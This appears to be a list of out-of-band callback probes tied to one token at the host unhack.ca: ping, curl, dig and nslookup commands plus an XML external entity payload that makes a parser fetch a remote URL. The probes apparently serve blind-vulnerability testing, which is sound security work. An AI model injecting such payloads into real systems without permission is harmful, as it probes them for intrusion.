$ ping -c1 -p 0027240eddd76347760602602481cb00 unhack.ca
$ curl http://unhack.ca/p/27240eddd76347760602602481cb
$ dig 27240eddd76347760602602481cb @unhack.ca
$ dig 27240eddd76347760602602481cb.ns.unhack.ca
C:\> nslookup 27240eddd76347760602602481cb unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/27240eddd76347760602602481cb">]> <foo>&xxe;</foo>